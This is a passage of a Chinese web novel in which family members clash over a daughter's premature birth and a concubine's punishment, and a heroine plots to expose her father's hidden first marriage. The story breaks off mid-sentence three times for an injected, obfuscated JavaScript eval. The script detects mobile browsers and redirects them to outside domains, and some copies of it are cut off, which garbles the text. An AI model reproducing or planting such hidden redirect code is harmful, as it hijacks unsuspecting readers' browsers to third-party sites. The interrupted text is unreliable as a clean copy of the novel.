叶青漓犹觉不过瘾,忽然有些惊讶地瞪大了眼睛,好像发现什么了不得的秘密,抬手轻轻捂住嘴巴,“父亲,莫不是做了什么挣大钱的生意?” “叶青漓!” 叶修恺霎时火冒三丈,额间青筋暴起,目眦欲裂狠狠瞪着叶青漓。 “我在,父亲有何吩咐?” 叶青漓随意应了声,脸上的恭敬已经荡然无存,只保留着最后一丝体面漠然看着对方。 叶修恺气得浑身轻颤,抖着手指着叶青漓,“早知道你是这么一个忘恩负义的东西,当初我就应该让你饿死在街头,不该把你捡回来!” “我也觉得奇怪呢,本来是来京城寻亲的,没想到亲生父亲没找到,先找到一个义父。”叶青漓幽幽念了句,余光注意到叶修恺微微抽搐的眼角,唇角轻扬,“不过如今我已经有了这泼天的荣华富贵,自然不用再担心其他事。” “父亲若是还挂念弟弟,就让他自己多多努力吧!” “女儿告辞。” 叶青漓说罢,头也不回地往外走去,叶修恺被她的话气得够呛,正要叫住她训斥两句,忽然被一个下人挡了去路。 “混账东西!滚开!” 叶修恺二话不说抬脚踹开人,又往前走了两步,却听身后的下人唯唯诺诺道:“启禀老爷,害大小姐早产的凶手抓到了!” 叶修恺脚步一顿,扭过头来时脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572568|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色骇人,“你说什么?珠儿早产是被人害得?” “是。” “此人是谁?” “是今日随姑爷一起进府的一个姑娘。” “姑娘?” 叶修恺脸色更沉,他想到陆怡珊提起的沈仕楣纳妾一事,心中对这个姑娘的身份已经有了猜测。 “把她带过来。” “是。” * 裘玉莹看见叶蕙珠身下淌血,意识到事情不对,忙趁着叶府下人都在关心叶蕙珠悄悄离开,本想着一路出府,再不回来,可惜刚刚过来时她有些走神,没记清路,迷迷糊糊在府里绕了好几圈都没找到出路。 直到机灵的下人发现她,将她绑了起来,审问后得知她竟是害得叶蕙珠早产的罪魁祸首,连忙将人带到叶修恺面前。 陆怡珊得知消息也匆匆赶来,刚一碰面便抬手落下一个巴掌。 “贱人!” 裘玉莹被扇得脸颊向右微侧,火辣辣的刺痛感与初见叶蕙珠那日重叠,因叶蕙珠早产而产生的几丝后怕和愧疚忽地散了,心中只余一股浓浓的恨意。 一个巴掌还不算完,陆怡珊看着裘玉莹脸上精致的妆容,红唇气色饱满,忍不住想到自己刚刚早产气血两亏的女儿,眸中恨意愈浓。 “果然是个下贱的东西,勾引别人的男人还不够,竟还害得人早产!像你这样黑心烂肝的东西,就该早些去死!” 沈仕楣是跟着陆怡珊一起过来的,看见裘玉莹受了一巴掌,他心底有些不忍,但叶蕙珠到底是因为裘玉莹才早产,他只好装作没看见。 可陆怡珊接下来的这句话却叫他瞬间恼了,表妹本就是求死过的人,是自己给了她希望她才活下来,陆怡珊这般刺激岂不是火上浇油? “岳母这是说得什么话?蕙珠不是好好的,哪里就要因为一点小事咒人早死?” 他不说话还好,一开口两双鹰隼般充满压迫感的眼睛瞬间看向他。 “你说什么?” “一点小事?” 陆怡珊勃然大怒,“珠儿被她害得早产,险些丢了半条命去,你不心疼珠儿,却还觉得这是小事?你到底还有没有人性?” 叶修恺也冷着脸,“珠儿早产都是小事,那在你眼里什么才是大事?你的官位不保吗?” 沈仕楣脸色一白,意识到自己又说错话了,连忙跪在地上主动认错,“是小婿不好,没有照顾好蕙珠,请岳父岳母责罚!” 裘玉莹见状也按下心中不满,利索跪在地上,“是我的不对,与表哥无关!” 她瘦弱的身躯正好挡在沈仕楣身前,背影孤单又无助,“爹娘将我所嫁非人,我不甘心勾引表哥,表哥念及旧情收下了我。表嫂见我不满,心中生怒这才提前生产。” “请大人,夫人莫要迁怒表哥!” 她字字句句都在为沈仕楣解释,将所有错处揽在自己身上,哪怕脸上疼得厉害,哪怕因为第一次见到这种场面浑身怕得发抖,也坚决不让沈仕楣被人误会。 如此心地善良,叫人怎能不怜惜? 陆怡珊看着沈仕楣情不自禁露出怜香惜玉的神色,心底泛起一股浓浓的恶心。 她狠狠皱眉,“你在看什么?” 86. 处罚 沈仕楣连忙回神,“小婿只是在担心珠儿!” “担心?”陆怡珊冷哼一声,“从珠儿生产到现在,你没问过她一句,倒是这个贱人来了你知道担心了?” “我……” 沈仕楣不知如何解释。 刚才叶蕙珠早产艰难时他也是担心的,看着一盆盆血水端出来,他更是揪心不已。 只是叶蕙珠仗着自己生了个孩子,仗着自己有几分家世,连自己的面都不愿意见。表妹却什么都没有,被人误解辱骂也要护着自己。两相对比他自然更心疼表妹一些。 他忽然沉默,陆怡珊和叶修恺看他的眼神便愈发鄙夷。 屋内气氛发僵时,下人来报。 “大人,夫人,沈家人来了。” 沈仕楣终于抬起头,看着陆怡珊神色露出不耐。 “带他们过来。” “是。” 不过片刻,裘氏已带着沈家众人走过来,还未露面,便已听见她欣喜的声音。 “孙子,我的宝贝孙子在哪?” 下人在前面领路,停在门口向她挥手,裘氏忙大胯步走进屋内,脸上带着难言的喜悦。 “我的宝贝孙子……”她下意识念着,目光注意到沈仕楣跪在地上,忽地变了脸色,“三哥儿,你怎么跪在这?快起来。” 沈仕楣没有动作。 裘氏也在这时才注意到屋内的气氛似乎有些不对劲,没有新生儿刚出世的喜悦,静悄悄的倒像是死了人一样。 她看着明显带着怒容的陆怡珊,有些心虚地开口,“亲家母,蕙珠呢?” “珠儿早产后身子虚弱,正在休息。” “哦。” 还活着,那就好。 裘氏脸上又扬起笑,“那我的孙子呢?快抱出来让我看看。” 陆怡珊看了眼身旁的下人,“去把孩子抱过来。” “是。” 下人去抱孩子的这会功夫,裘氏的目光又落在沈仕楣身上,她朝陆怡珊笑了笑,低头冲着沈仕楣道:“三哥儿,还跪着做什么,快起来啊。” 沈仕楣抬头先看了眼眸色冷然的陆怡珊,又看了眼脸色黑沉的叶修恺,默不作声又把头低了下去。 裘氏有些尴尬地笑了笑,目光终于注意到跪在沈仕楣前面的裘玉莹,瞬间想起了什么,咽了咽口水,没再多说。 幸而下人的手脚快,没几会功夫就将孩子抱来,室内奇怪的尴尬气氛也终于散了。 裘氏从下人手中将孩子接过来,小心地抱在怀里,脸上瞬间笑成一团,露出许多褶子。 “哎呦,这小脸蛋,长得真可爱,这小鼻子真像三哥儿,还有这眼睛,这嘴巴,我的乖孙呦!” “娘,给我也看看!”沈家大嫂这时也凑到裘氏跟前。 她嫁进沈家的时间早,本该有孩子的,只是前些年沈家举全家之力供沈仕楣读书,旁的人便待遇差些,腹中的孩子因为母体营养不足悄悄流掉,因此伤了身子。 如今看着裘氏怀中软软小小的孩子,心中欢喜不已。 裘氏也知道沈家大嫂的痛处,念着她一心为沈家,将怀中的孩子递过去。 沈家大嫂一抱住孩子便眼眶盈泪,她那个孩子要是出生了也会像弟妹这个孩子一样可爱吧! 沈家人对孩子爱不释手的态度令陆怡珊和叶修恺两人紧皱的眉头终于松了些,只是这些远远不足以平息陆怡珊心中的怒火。 叶蕙珠被人害得早产,此事总该有人受罚。 陆怡珊看着裘氏,冷冷开口,“亲家如今抱着孩子,就没觉得有什么不对的?” 裘氏笑容消失,忙仔细看了孩子一眼,“哪里不对?” “这孩子本该在两月后出生,如今却提前来到人世,你不觉得奇怪?” 裘氏喉头一梗,下意识觉得这个问题不好回答,敷衍地笑道:“许是这孩子亲近我,迫不及待想见我,所以来得早些。” “哼!” 陆怡珊冷哼一声,知道裘氏是想大事化小,小事化了,语气越发讽刺,“八月大的孩子哪有足月生得健康?” “你们家里这位妾室,仗着自己有几分姿色,跑到我们叶府来耀武扬威,害得珠儿早产。如此心怀鬼胎之人,亲家觉得该如何处置?” “处,处置?” 裘氏愣愣开口,下意识看向跪在地上的裘玉莹,到底是自己的侄女,从前也是对她真心爱护的,哪里能说处置就处置了? 她有些不自然地开口,“亲家母觉得怎么处置好?” 陆怡珊眸色冰冷,说出来的话令人心惊,“此等狐媚之人,勾引他人夫君,害人早产与害人性命无异!自然该送进官府,以谋害人命罪论处!” “什么?” 裘氏惊讶地张大了嘴巴,眼底满是不敢置信。 “玉莹一个弱女子,进入府衙必遭大罪,若是此等罪名,哪还有命出来?”沈仕楣立刻站出来求情,“还请岳母高抬贵手,饶她这一回吧!” 裘玉莹此刻也被吓破了胆子,她只是想报复叶蕙珠,还她当日羞辱之耻,不是故意要让她早产的!她没有害人性命,自然不想进大牢! “表哥……!” 裘玉莹脸色白了又白,咬着下唇泪眼婆娑地望着沈仕楣。 她是那般柔弱无所依托,将自己的所有都倾注在沈仕楣身上,叫人不自觉充满责任感,挺直了脊梁。 “岳母大人!”沈仕楣再次开口,眸光同时掠向一旁不怎么开口的叶修恺,“玉莹罪不至此,且她身子柔弱,将她送官无异于要她性命!” “还请岳父岳母三思!” “是呀,玉莹到底是我的侄女,她做错了事该认罚,但是送官是不是太重了些……”裘氏也在这时开口,有些不太自信道:“若不然我将她送回裘家,不让她碍着蕙珠的眼。” 沈家一大家子如今都靠叶蕙珠养活,沈仕楣的官位也是叶家安排的,如今叶蕙珠又为沈家生下个孙子,裘氏实在找不到理由把裘玉莹留下。 裘玉莹闻言,悲怆的眼神落在裘氏身上,眼里眸光微闪,渐渐没了光亮,她早该知道姑姑也是靠不住的! 陆怡珊要的就是裘玉莹的性命! 一个在叶蕙珠孕时将她气得回娘家的女人,一个能追到叶府来将叶蕙珠气得早产的女人,一个能得沈仕楣和裘氏几番保护的女子,这样的人怎么能继续留在叶蕙珠身边? 若是珠儿不改决定,还要继续留在沈家,那么今日裘玉莹必须死! 陆怡珊表情冷漠,“不行!她害人性命必须报官!” “这……” 裘氏无奈,她是心疼裘玉莹的,可如今她已经有了更心疼的人。 她目光落在沈家大嫂怀中的小小婴孩身上,眼中闪过一丝挣扎,“那就……” “哎呀!”裘氏正要答应,沈家大嫂忽然发出一声惊呼,“孩子尿了!” 她感受着手上的湿润没有多想,下意识揭开襁褓要给孩子换尿布,下一刻却发出更大声的尖叫,“怎么,怎么不是带把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582197|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的?” “什么?” 裘氏猛然回过头来! 以一种不符合年纪的迅速冲到孩子身边,一双三角眼死死地盯着婴孩赤裸的身子,看清她的性别后,瞬间变了脸色。 “我的孙子呢?蕙珠不是给我生的孙子吗?” 陆怡珊皱了皱眉,“我什么时候说过是个男孩了?” 裘氏嘴里一直念叨着孙子,陆怡珊只当她是叫习惯了,一时没改过来,所以并未打算纠正, 而今看着裘氏大变的脸色,却忽然觉得哪里不对。 果然裘氏看着沈家大嫂怀中的女孩,脸上浮现几分嫌弃,下一刻便改了主意。 “玉莹是我的侄女,现在又是三哥儿的妾室,自然不能说送官就送官。何况蕙珠和孩子好好的,哪里就要送官?要我说,等蕙珠身子养好了,让玉莹亲自给她赔个不是就够了。” “你……!” 陆怡珊气得语塞。 她没想到世上竟有如此厚颜无耻之人! 她的女儿因为这个女人受了这么大的苦,这老妇竟想要轻轻带过,简直是痴人说梦! 叶修恺也对裘氏的态度十分不满,本以为沈仕楣纳妾是一时年轻气盛没忍住才犯了错,如今瞧裘氏的态度,可想而知整个沈家对叶蕙珠的态度。 “既然沈家如此爱护这女子,那也不必将我珠儿接回去了,此等人不配与我女儿同住一个屋檐下!”叶修恺忽地开口。 “这……可以。” 正好叶蕙珠在叶府坐月子,省了沈家的银子。 叶修恺脸色愈沉,“孩子也不会回沈家!” “可以。” 裘氏点头答应。 不过一个丫头片子,她才不愿意养。 “娘!” 沈仕楣不答应了。 那可是他的孩子,从出生到现在自己都还没抱过一次,怎么能一直放在叶府? 裘氏拿手搡了搡他的肩膀,依旧对着叶修恺笑,“知道亲家公亲家母心疼女儿,如果蕙珠愿意的话,当然可是留在叶府坐月子,而且叶府条件好,更能照顾好她。孩子这么小当然不能和母亲分开,留在叶府也好,以后三哥儿会每天来探望孩子,至于玉莹……” 裘氏忽然强硬起来,“她已经是我们沈家的人了,我会把她带回沈家自行处罚,让她每天为叶蕙珠祈祷,祝愿她早日恢复,孩子平平安安。” 陆怡珊气得眼前一黑,“不行!” “这贱人害得珠儿受了这么大苦,必须重惩!” “要么打板子要么送官,才算解了珠儿早产之苦!” 她那吃人般的气势吓得裘玉莹浑身一哆嗦,下意识看向沈仕楣,沈仕楣连忙挡在她前面。 “岳母……” 见他又要求情,陆怡珊干脆不听,“既然你们犹豫不决,那我替你们做决定。” “来人啊,把这贱人拉下去,打三十大板!” “什么?”裘氏瞪大了眼睛,“三十大板?那要打死人了!” “表哥……!”裘玉莹害怕地躲在沈仕楣身后,一只胳膊却被叶府下人捉去,“啊,别碰我!” 沈仕楣也连忙回头护着她,“你们放开她!” 陆怡珊见状心底火气愈烈,“给我把姑爷拉开,狠狠得打!” “是。” “啊!表哥!” “玉莹!” 屋内乱成一团之际,自幼跟随在叶蕙珠身边的丫鬟忽然出现。 “住手!” 87. 决定 一语叫停屋中人。 陆怡珊皱眉想要训斥她,却听那丫鬟开口道:“小姐特命我来传话,今日早产一事与裘姑娘无关,请夫人息怒。” “什么?” 陆怡珊简直不敢相信自己的耳朵,她的珠儿受了那么多苦,怎么可能与这个贱人无关? 她神情微恼,连带着对自己女儿身旁这个丫鬟也不满起来,可那丫鬟却像是看不懂她的脸色,转身朝着裘氏等人微笑。 “奴婢请老夫人安。” “我家小姐知道老夫人知道她生产特来看望,只是小姐如今身体虚弱,大夫吩咐要好好休息,便不劳老夫人亲去了。奴婢在此处替小姐先谢过老夫人关切之心。” “请老夫人先领着姑爷和……”丫鬟顿了顿,语气略微迟疑,“和这位裘姨娘先回家吧,等我家姑娘养好了身子,自会带着孩子回去的。” “这真是珠儿亲口说的?”莫说是陆怡珊,就连稍微熟悉叶蕙珠性格的叶修恺也对这丫鬟的话起了疑心。 他的孩子是什么性格他还不知道吗? 珠儿怎么可能被沈家人欺负至此还不还手?甚至主动承认了沈家这个妾室? 那丫鬟转身朝向叶修恺和陆怡珊时,脸上更多了几分恭敬,“这是小姐的原话,小姐还说若老爷夫人有什么疑问,可等稍后亲自问她。” 得到这个回答,陆怡珊和叶修恺两人一时竟不知该如何反应了。 女儿放过了沈家这个妾室,那他们刚才那番咄咄逼人岂不是没有任何意义? 在场之人中裘玉莹是最先反应过来的,她迅速将自己的胳膊从叶府下人手中抽回,转身死死抱住沈仕楣。 “表哥,既然表嫂都如此说了,我们是不是可以走了?” 沈仕楣也对叶蕙珠这番举措感到十分疑惑,感受着身旁娇躯的颤抖,他回过神来,抬手在她肩头轻拍了拍,对着陆怡珊和叶修恺道:“既然蕙珠有了安排,小婿便先带着母亲回家了,明日再来看望蕙珠和孩子。” 他生怕叶家出尔反尔,一路将裘玉莹护在身后,脚步匆匆往外走。 一旁终于反应过来的裘氏也连忙跟了上去,沈家两个哥哥亦没有丝毫犹豫跟上,唯有沈家大嫂看着怀中娇软可爱的孩子,眼底流露出一抹不舍,小心翼翼地将她放回到叶府下人手中,才跟着沈家人离去。 看着沈家人丝毫不留恋刚出生的孩子,亦没有一个人过问几句叶蕙珠的身体,陆怡珊心底又涌起一股无名之火。 叶修恺亦觉得十分恼怒,沈家欺人太甚,他们叶家不还手,岂不是显得好欺负? 两人猜不透叶蕙珠此番为何,只能强忍下怒火找到叶蕙珠问个答案。 叶修恺从礼部赶回来,先是遇见叶青漓,又碰上沈家一家子没良心的,心中百般思绪都被怒火充斥,乍一见到叶蕙珠虚弱地躺在床上,霎时间心中一空,忍不住老泪纵横。 “珠儿,我的珠儿!” 女大避父,叶修恺不似陆怡珊这个母亲与叶蕙珠亲昵非常,时而将她抱在怀里。自叶蕙珠七岁起,便再未靠在父亲怀里过,叶修恺每次宠着她也只是给她银钱买些她喜欢的东西,尽己所能满足她的要求。 上一次见到叶蕙珠,还是中秋节的时候,当时她挺着大肚子回府,叶修恺坐在饭桌对面也能看见她气色不错,哪像现在…… 此时此刻,看着自己几乎去了半条命的女儿,叶修恺控制不住满腔心疼上前将她轻轻搂在怀里,感受到她身体的虚弱,鼻尖又是一酸。 “好孩子,你受苦了!” 叶蕙珠感受着父亲宽阔的怀抱,看着一旁陆怡珊满眼含泪,忍不住咬着唇,低头道:“女儿不孝,让父亲母亲为我担心了!” “不。”叶修恺笨拙地提起被子盖住叶蕙珠,目光坚定,“你是我的女儿,为父自然要为你做主!” “今日沈家人欺你至此,我与你娘亲本打算打他们几板子给你出气,你却让丫鬟传话让他们回去了。你告诉爹爹,可是有了什么别的想法?” 叶修恺低头认真看着叶蕙珠,企图从她眼神里看出一分打算和离的决绝。 然而叶蕙珠只是将头压得更低,声音虚弱却带着深思熟虑后的坚定。 “父亲,我喜欢沈郎,也离不开他,今日之事我认了!” * 这边厢,叶青漓已经登上了回顾国公府的马车,她坐在车厢里,脑海中却不停重复着刚才与叶修恺的对话。 他心知肚明两人的关系,却能毫无芥蒂地利用她,甚至威胁她,叶青漓脸上仿佛凝着一层冰霜。 采莲自进了叶府后就被叶青漓吩咐回她原来的房间拿东西,关于她和叶蕙珠以及叶修恺的对话一句也没听见,感受着叶青漓周身散发出来比冰瓮还要低的温度,采莲忍不住摩擦了下自己的胳膊。 “小姐……啊……!” “吁——!” 正在行驶的马车陡然停下,叶青漓和采莲一时不慎撞在车壁上,幸而车壁覆着一层棉才没撞出个好歹来。 叶青漓抬手摸了摸碰的有些疼的肩膀,采莲却已经忘了自己刚要问出口的话,揉着额头掀开车帘直接骂过去,“你这人怎么驾车的?不知道里面还坐着人吗?” 车夫自知理亏连声求饶,“采莲姑娘实在对不住!” “天色不早夫人又赶着回府,小的便选了条近道。平日里这条路上没什么人走,今日不知怎的前面竟停了一辆马车,这才急忙停下。伤了姑娘和夫人实在不对,请夫人恕罪!” 叶青漓顺着车夫说的方向抬眼望过去,果然前方不远处停着一辆马车,横亘在不算宽敞的巷道上,堵住了前路。 “罢了,这也不算是你的错……”叶青漓揉着肩膀正要吩咐车夫掉头换条路,前方小巷角门忽然打开,从里面走出一个贵妇人,一身锦衣,姿态雍容,漫步朝着马车走去。 注意到叶青漓的视线,那人正好也望了过来,二人四目相对,叶青漓嘴角忽然勾起一抹笑来。 她蓦然起身走出马车,经过车夫时道了句,“做的不错,回去有赏。” 车夫听得糊涂,没弄清叶青漓此言何意,便见她已经朝着对面马车上的那位贵妇人走去。 “没想到能在此处遇见夫人,当真是巧!” 泾阳候夫人也有些意外遇见叶青漓,自上次泾阳候府满月宴后,两人只在一些宴会上见过几面,远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那是当然!”泾阳候夫人一脸喜色,高兴得仿佛叶蕙珠是她的女儿,“哪里等得到一月后,要不是现在天色已晚,我恨不能现在就去!” 她说着,像是忽然意识到什么,笑着拍了拍手,“哎呦!你瞧我,光顾着蕙珠的事,竟忘了你要回府!” “此处道路狭窄,我的马车停在这挡住你的路了吧?来人,快给顾国公府的马车让路。” “多谢夫人。” 有泾阳候夫人开口,前方终于能通行,叶青漓朝着泾阳候夫人道了声谢,却并未上马车,而是与采莲耳语了几句。 采莲立刻转身上了马车,从车上拿出一样东西走到叶青漓身边。 泾阳候夫人将这一切看在眼里,忍不住面露疑色。 叶青漓不好意思轻笑一记,“不瞒夫人,我今日有一家酒楼刚刚开张,大把银子花出去,一时手头有些紧。” “此物于我极是珍贵,正好夫人又开了间当铺,不知可否将此物当在夫人店中,换些银子周转一二?” 泾阳候夫人略有些迟疑,“自然可以,你想死当还是活当?” 叶青漓眼神清丽,笑容温柔,眉心不见一丝起伏,“既是珍爱之物,自然是活当。” “夫人若信得过我,不如就定一月之期,待到满月宴那日,再将东西还我。” 说罢,采莲已经主动上前将东西递上。 泾阳候夫人微微蹙眉,抬手将木盒打开,看见里面放着的东西后,眸光几番流转,最后化为一个灿烂的微笑。 “甚好!” 88. 话本 顾国公府。 顾承宴刚刚回府,一进门,看见叶青漓正坐在书桌旁,目光无神,似是在发呆。 他皱了皱眉,这表情可不对。青漓最是喜欢挣钱,今日和二弟妹联手开了一家酒楼,正是要赚钱的时候,怎么她的脸上无一丝开心的表情。 “今日酒楼开张生意如何?” “还好。”叶青漓下意识道。 顾承宴眉头皱得更紧,在叶青漓身前停下缓缓蹲下身子,“既是如此,你为何看起来不高兴?” 叶青漓终于回神,冲顾承宴笑了一记,“今日姐姐忽然早产,我被叫去叶府,看见她的样子心有余悸罢了。” 叶青漓虽未明说过,顾承宴也知她与叶家人关系不好,闻言点点头不再多问。 两人各自在书桌旁坐下,一个看着手中邸报分析朝局,一个面前放着今日酒楼进账,双目无神。 顾承宴看着手里的东西,目光却不时扫向身旁的叶青漓。她一向是活泼爱闹的性子,少有这么安静的时候,今日实在奇怪。 他侧目注视良久,身旁的人终于动了。 叶青漓转过身来,有些犹豫,“夫君,我有一件事想要请教你。” 果然有事。 顾承宴放下书,“你说。” “依照南朝律法,朝中高官犯下何等大罪,才会被圣上厌弃甚至到丢官的地步?” “怎么忽然这么问?是发生了什么事吗?” 顾承宴太过敏锐,叶青漓连忙轻巧一笑,摇摇头,“没什么,只是近日看了一则话本,上面的故事实在看得我心里生气。” 顾承宴失笑,眼中满是宠溺,“什么样的故事,竟能让青漓这般生气?说出来让我也听一听。” 叶青漓思虑片刻,道:“是最近看得一则故事,故事中的男主人公出身微苦,却得一老秀才赏识,娶了那秀才的女儿为妻,得妻子全家供养进京赶考,获取功名后却抛弃妻女,转头娶了另一个高官的女儿,从此改头换面,一路官途平坦享尽富贵,徒留那原配妻子和女儿受尽苦头。甚至他亲生女儿好不容易找到他后他也拒不承认,无法告他。” “我一想到这种人竟然还能做朝廷命官,便气得牙痒痒!”叶青漓皱着眉头一脸不爽,“夫君可有什么好办法惩罚这种人?最好让他声名俱损,从此不得做官!” 她情绪格外激动,顾承宴也许久未见她如此动怒,忙将她抱在怀里,耐心安慰。 “话本里都是假的,青漓莫要为此太过生气,小心伤身。” 见叶青漓依旧眉头紧皱没有舒展,顾承宴认真给她分析,“南朝律法有言:"若有妻更娶妻者,杖九十;后娶之妻,离异归宗。"或许可以以此法条惩治此人。” 叶青漓却觉得不够,“只是打九十杖吗?可那女子为了那男子付出一辈子,最后被骗光钱财,只有孤儿寡母活在乡下,那个男人却好好地做官,享受荣华富贵,坐拥娇妻爱子,何等不公?” “而且他已换了名字,如何去官府告他?” 叶青漓越说越气,眼眶隐隐有泪光划过。 顾承宴抱着她无奈叹了口气,青漓心肠柔软,只是看个话本都能如此伤感,果然赤子之心。 他越发用力将人揽在怀中,认继续分析道:“若要告他,倒也不难。” “自古成亲皆有三书六礼,举子中榜也要核对籍契,若那女儿可以拿出其父母成亲时的三书,比对上面的身份信息,哪怕那人改了名字,也不得不认这项证据。” 叶青漓霎时间从顾承宴怀中坐起,“此法当真可行?” “自然,以此为证据告到官府,官府审查后自会惩罚。青漓莫要觉得九十杖太轻,依寻常处罚来看,常人往往五十杖便受不住了。” 顾承宴嘴角噙着一抹淡笑,抬头揉了揉叶青漓的头,“与你说了,话本都是假的。” “那著作之人只想着编篆这些故事,刻意制造矛盾放大人性丑恶,却根本不熟悉南朝律法,写出来的故事也漏洞百出。” “夫君说得是。” 叶青漓靠在顾承宴怀里,享受顾承宴带给她的温暖,眸中一片悲愤。 是呀,这种事情放在话本里都是漏洞百出,偏偏现实中有人做了,还做得天衣无缝! * 翌日,叶青漓命采莲揪出那个给叶修恺做眼线的下人,同时给泾阳候府送了一封信。 “夫人,信上写的什么?” “我那侄女说昨日当给我的东西有治头疼的奇效,叫我务必日日戴在身上,一个月后,方可药到病除。” “啊?”下人张了张嘴,一脸犹豫。 阙流婉笑了,“有什么话就直说吧。” “夫人,这位大少奶奶不会是个骗子吧?她那东西根本不值几个钱,夫人却好心给了她一百两,她是不是心里觉得过意不去,就编了这么一条治头疼的效用来哄夫人开心?” “呵呵!你这话可就说错了。” “我那侄女是个能干的,一家书铺抵我十家当铺,哪里用得着找我借银子周转?” “既然如此,夫人为何还要答应她当东西?” “自然是因为她做事从来不简单!”阙流婉眸间笑意荡漾,“你不记得上次陆怡珊被何夫人骂的蠢样了?那顾承宴已经做道士十多年了,若不是我那侄女有意挑拨,何妙旋哪来的那么大气性?” 下人深知阙流婉与陆怡珊只是表面姐妹,心底实则恨不得对方倒大霉。 她更加疑惑,“可咱们又不知这位大少奶奶打得什么主意,就这样将那东西戴在身上也太损夫人形象了!” “无妨!只要能让陆怡珊不高兴,我身上戴满了廉价之物又如何?” 阙流婉说着抬手抚了抚额,“哎,我这头又痛了,快去,把我那侄女送我的好东西拿来。” “是。” …… “小姐,抓到了,昨日角门有人给叶府送信,如何处置?” “咔擦——!”一截干枯荷花枝干被剪下,叶青漓将剩下的部分重新插入花瓶,将枯枝部分丢弃,“变了心的东西留下只会污染其他地方,都丢了吧。” “是。” “另外,我让你找的人找到了吗?” 采莲低着头,“没有。” “奴婢派人去书铺四周问过,那人似乎年前就消失了,之后再未出现过,若想找到恐怕还需要些时间。” “无妨,能找到最好,不能找到也不会影响最后的结局,左不过多费些功夫罢了。” “是。” 采莲看着一心拨弄荷花的叶青漓,终究没忍住开了口,“小姐确定要如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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采莲眼疾手快将叶青漓拦在身后,带着她连忙后退。 那胡六却像个疯子一样不住向叶青漓扑来,嘴里不停念叨着“老七,你是老七!” “小姐,此人疯了,恐怕当不得大用,我们还是别管他了。” 叶青漓却看着胡六愣神,慢慢靠近了他,“我不是老七,但是我可以带你去吃好吃的,你只用告诉我你知道的所有关于老七的事,如何?” “老七……嘿嘿,老七!我没说,我没说哦,不能打我,不能打我!”胡六笑着,眼底一片痴傻。 采莲见状也皱起眉头,“小姐……” “把他带回去,找大夫好好看看。” “是。” …… 顾承宴说若要告官,必要有叶修恺之前成婚的礼书。 娘亲已经死了,叶青漓生得晚,对这些一概不知,如今除了叶修恺,就唯有一个被他纵容了十几年的胡六有可能知道。 叶青漓将破庙里的胡六带回,请了大夫。 这才知道他是遭人殴打后脑重伤才会变得痴傻,甚至断了一条腿,才会成为破庙里最没用的乞丐。 见识了叶修恺的狠毒,叶青漓下意识觉得自己动作要更快一些。 “大夫,他可还有治愈的可能?” “这个,老夫也只能试一试。” 随后那大夫便开始施针,随着治疗逐渐进行,胡六的眼神也慢慢变得清明起来。 直到叶青漓站在他面前,听见他道:“你和素娘长得真像!” 89. 手串 叶蕙珠承认了裘玉莹的身份,又为沈家诞下第一个孙辈,虽然裘氏不喜是个女儿,可是沈仕楣却因此难得起了些愧疚之心。 尤其是这一个月来他每次来叶府看望叶蕙珠的时候,看着她身着素衣含笑逗弄孩子,素日骄傲的眉眼淡了下去,周身萦绕着一股母性的慈爱,沈仕楣愈加心旌摇曳。 叶蕙珠态度变软,沈仕楣自然也不是不知好歹的。 他的前程和沈家的未来都还需要叶家提携,叶蕙珠同意他纳妾,他自然就该给叶蕙珠身为正式嫡妻的体面。 每次来叶府时,只带着裘氏或沈家大嫂来,一次都没让裘玉莹在叶蕙珠面前出现过。 哪怕叶蕙珠主动提起,沈仕楣也只是嘴角含笑,风轻云淡道:“不过一个妾室,不值得娘子如此挂念,我已让她在家好好学习为妾之道,待娘子归家,绝不让她忘了本分。” 如此,叶蕙珠心底那股气终于顺过去,夫妻二人再次恢复和睦。 叶蕙珠早产生女,陆怡珊爱惜女儿,硬是将她拘在家里,做了四十天的月子,沈家小女的满月宴也因此推迟十日。 不过这并不妨碍今日宴会的热闹。 此女外祖是礼部侍郎,外祖母是陆国公独女,爹爹和舅舅都是新科进士朝廷新贵,过个几年未必不会成为高官,甚至她还有个小姨和顾国公府沾着关系。 这般天生的富贵命,谁会不来祝贺? 阙流婉身为陆怡珊的好友,自与那些上赶着的人不同。 她赶到叶府时,陆怡珊正被人拉着说话。 她脸上带着微笑,嘴角却十分僵硬,眼里隐隐有几分嫌恶,因着今日的场合不好当众发脾气,只能兴致缺缺听对面之人不停讲话。 余光瞥见阙流婉,陆怡珊眼前忽然一亮,冲着面前的人道:“实在不好意思,泾阳候夫人来了,我要先去迎迎她。” “婉儿,你终于来了!” “怎么,嫌我来得晚了?” “当然不是!”陆怡珊拉着阙流婉往里走了几步,待到远离方才那人视线范围,才撇了撇嘴。 “你是知道我的,最是不喜欢被人巴结。今日却总有人上赶着求我办事,不是明里让我介绍先生,就是暗里求我提供官位。” “当真是气死我了!” 阙流婉眸底划过一抹浅笑。 陆怡珊身为陆国公府独女,金玉窝里长大的,就连泾阳侯府世子的求娶都能毫不犹豫拒绝,怎么可能因为旁人求了几句就如此生气。 